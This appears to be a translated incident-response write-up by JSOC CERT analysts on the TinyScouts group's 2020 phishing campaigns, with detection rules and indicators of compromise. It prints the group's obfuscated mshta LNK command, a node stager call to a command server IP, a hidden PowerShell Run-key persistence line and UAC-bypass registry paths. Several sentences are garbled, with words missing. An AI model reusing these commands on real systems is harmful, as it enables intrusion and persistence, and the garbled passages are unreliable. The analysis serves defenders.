Two aspects of the group's activities were noteworthy: first, the high level of technical skills of the attackers, and second, the variability of the attack scenario. If you are not interesting as a victim, they will steal passwords and encrypt data, but if your machine is in an interesting domain and has the potential for a more interesting attack development, they will download the Remote Admin Tool (RAT) written in PowerShell. We named the grouping TinyScouts after the names of the functions from the malicious code. In this article, we will tell you about her last two campaigns, which can be conditionally divided by months - July and August 2020, and we will do a full analysis of TinyScouts tools and scripts.
July campaign. Direct download
In July, the malware was distributed in the form of an lnk file that executed the following command:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)As a result of running mshta.exe, the obfuscated JS script was executed. Its task is to extract a document from the body of the lnk file to distract attention, open it through rundll32.exe and run the obfuscated PowerShell command. A fragment of the script after deobfuscation is shown below:
The script in the toexecute variable loads and runs another obfuscated PowerShell script named Decide (request to decide.php). An example of obfuscation is below:
The task of this script is to check the computer for compliance with some parameters and download the next load from the servers. A snippet of the deobfuscated code is shown below:
The presence of TeamViewer, RDP sessions and the fact of logging into the domain are checked in order to determine what load needs to be downloaded. In the case of an "interesting" system, the RAT is loaded, otherwise - the ransomware. In both cases, these are scripts obfuscated in several layers.
August Campaign (ongoing). Tor Hidden Services
At the beginning of August, the distribution scheme changed: now the letters contained a link to download the sfx-archive, which contains 4 files:
- document.doc. A document that is opened for distraction and does not carry a malicious payload.
- 7za.exe. 7z - archiver.
- wget.exe. The original wget utility.
- service. JS script Stager 1
When starting the sfx archive, the following actions take place:
1) document.doc is opened
2) TOR and node.exe are downloaded and unpacked using wget and 7z from the following links:
www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) using node.exe, the Stager 1 script is launched:
C: \ Windows \ System32 \ cmd.exe "/ c if not exist hostname (node service 192.248 [.] 165.254)
Below is the deobfuscated Stager 1 script:
The service script receives the address of the control server as an argument and, when launched, creates the TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). It is worth noting that when the hidden TOR service is launched, its name is generated (it is similar to the name of a regular resource in the TOR network, for example, vkss134jshs22yl3li2ul.onion). Next, the script sends the generated Hidden Service name to the attacker and brings up the local web server. Subsequently, the attacker communicates with the infected system in the request / response mode to the web server (line 19 in the code), where the requests contain the code for execution, and the responses contain the results.
This architecture allows an attacker to gain access to an infected system, even if it is behind NAT (the main condition is the presence of the Internet), and makes it unnecessary to know the victim's "white" IP address.
The first request to the raised web server comes the Decider script, whose task is to determine the fact of the computer joining the domain, as well as to obtain the username. This time, there are no checks for TeamViewer and RDP:
After the results of the Decider script are sent to the attacker, a web request arrives at the infected system containing either the ransomware or RAT, depending on the attacker's interest.
Common modules in both campaigns
Stager 3 script
The main script contains 5 components encoded in base64:
- Encryptor ransomware
- Readme
- WebBrowserPassView
- Mail PassView
- Injector. , WebBrowserPassView Mail PassView svchost. RunPE.
Functions of the Stager 3 script :
1) Launching the ransomware (Get-Stuff function)
Below is a fragment of the script code with the launch of the ransomware:
2) Bypassing UAC (to remove shadow copies)
There are three techniques in the code: using csmtp.exe, CompMgmtLauncher.exe and fodhelper.exe. You can read about them here , here and here .
3) Removing shadow copies
4) Launching WebBrowserPassView and Mail PassView
These are utilities from Nirsoft for extracting passwords from browsers and email clients, respectively.
5) Sending reports of the aforementioned utilities to the management server.
Before sending, reports are encrypted using the RC4 algorithm with a generated key (4 characters):
The key itself is placed at the beginning of the message:
Encryptor ransomware
The readme message looks like this:
The encryptor is a .NET executable file without any obfuscation. Files are encrypted with the AES algorithm. A separate key and initialization vector is generated for each file, which is then encrypted using the RSA public key and placed in the encrypted file. The main function of the ransomware is shown below:
RAT
This script has several layers of obfuscation. After decryption, it can execute the following commands:
- delete - self- delete
- exec - Execute a PowerShell command
- download - download the file
- set_wait_time - change the frequency of command requests
- update_tiny - update RAT
- run_module - run a PowerShell command block
- add_persist_module - add a PowerShell module to the system that will be executed every time the RAT is started.
- remote_persist_module - remove a module from the RAT startup list.
The deobfuscated command processing function is shown below:
Fixing method
Two keys are used for pinning:
1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. The following command is placed in this key (the line is deobfuscated):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»2) HKCU \ SOFTWARE \ Microsoft \ Windows. This is where the script is stored in a value named client_id. Thus, when the system starts, the command from the Run key reads and runs the script from here.
client_id is a string in the AppX + base64 format (hostname + username + campaign_id)
The pinning function looks like this:
Decrypted script that is placed in Run:
It should be noted that the malware code is not stored either on disk or in the registry: it is loaded anew each time with the above script.
Add_persist_module command
RAT has the ability to add PowerShell modules that will run on every startup. For this, a separate registry key is used, which stores module identifiers. During startup, this key is checked, and the malware makes a request to the server, downloading all modules by their identifiers.
When the malware is launched, the Load-AllPersistModules function is launched to launch all the added modules:
The module code is also not stored on disks or in the registry, just like the main body of the RAT.
Server interactions
The code contains the CampaignID constant, which is used when registering the RAT at startup (register-tiny function) as the encryption key. The encryption algorithm is RC4. After sending the primary information about the system, the server response contains the encryption key, which will be used in the future with the same algorithm.
Technical aspects of campaign data discovery
Answering the question of how to detect this or that, we try to divide all the rules into two large groups:
- detection of system-wide anomalies,
- anomaly detection for a specific company / family / instrument.
System-wide anomaly detection
Interaction with intermediate servers and n:
In the July campaign in terms of detecting and blocking this activity, it is enough to add IP addresses and domain names to the blocking lists, while not forgetting to monitor attempts to access them.
In August companies it became more difficult with the aspect of network discovery, and here it is worth paying attention to the following:
- We can still block and take out some of the IP addresses and domain names for monitoring;
- The presence of network activity through TOR forces us to store and dynamically update the lists of IP addresses participating in the construction of this network. And here, for us, the detection rule can be an appeal to an IP address from the TOR network;
- , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .
For both campaigns, a set of IDS rules that are aimed at detecting used specific PowerShell methods or their Base64 converted form will work quite well.
Running Code on the Target System
There are two sources of events, Windows Audit and Sysmon.
PowerShell Script Block Logging
The log that contains the records of the PowerShell scripts being run. Located in the following path: Appilication and Sevices Logs> Microsoft> Windows> Powershell> Operational.
Detection rules, which are aimed at detecting specific PowerShell methods in use, will do a good job of detecting the activity of these campaigns.
Security Log (or Sysmon)
Process Starts - 4648 (1)
To detect this activity, classical rules for detecting anomalies in relation to father -> child processes are required. These bundles are well tracked during the startup process on the host: md-> mshta, cmd-> powershell, mshta-> powershell, rar-> rundll32, node-> wmic
Also, a rule for tracking suspicious parameters of launching processes can help: powershell -e “base64 »
Process Network Connection - 5156 (3)
The rule for detecting network connection from PowerShell process to white IP addresses should help detect this activity.
Also, during the August campaign, the rules for detecting internal proxying traffic to 127.0.0.1 will help a lot (this is what TOR and the local web server do).
Register entry - 4657 (13)
RAT written in PowerShell retains its presence through the common registry branch HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run, which means that the rule for monitoring records along this path is our option.
Detection of attempts to bypass UAC technology: changes in the following registry branches -
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\CalibrationAnomaly detection for a specific company / family / instrument
Running the code on the target system Starting
processes - 4648 (1)
Here you need a rule to track suspicious parameters of starting processes: C: \ Windows \ System32 \ cmd.exe "/ c if not exist hostname (node service)
Writing to the registry - 4657 (13 )
the RAT, written in PowerShell, also maintains a presence through the branch registry HKCU \ SOFTWARE \ Microsoft \ Windows, and therefore for the detection, we need to keep track of the record values «client_id» along this path.
Indicators compromise:
a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170Authors of the post:
Igor Zalevsky, Head of Cyber Incidents Investigation Department of JSOC CERT
Asker Jamirze, Technical Investigation Expert of JSOC CERT Department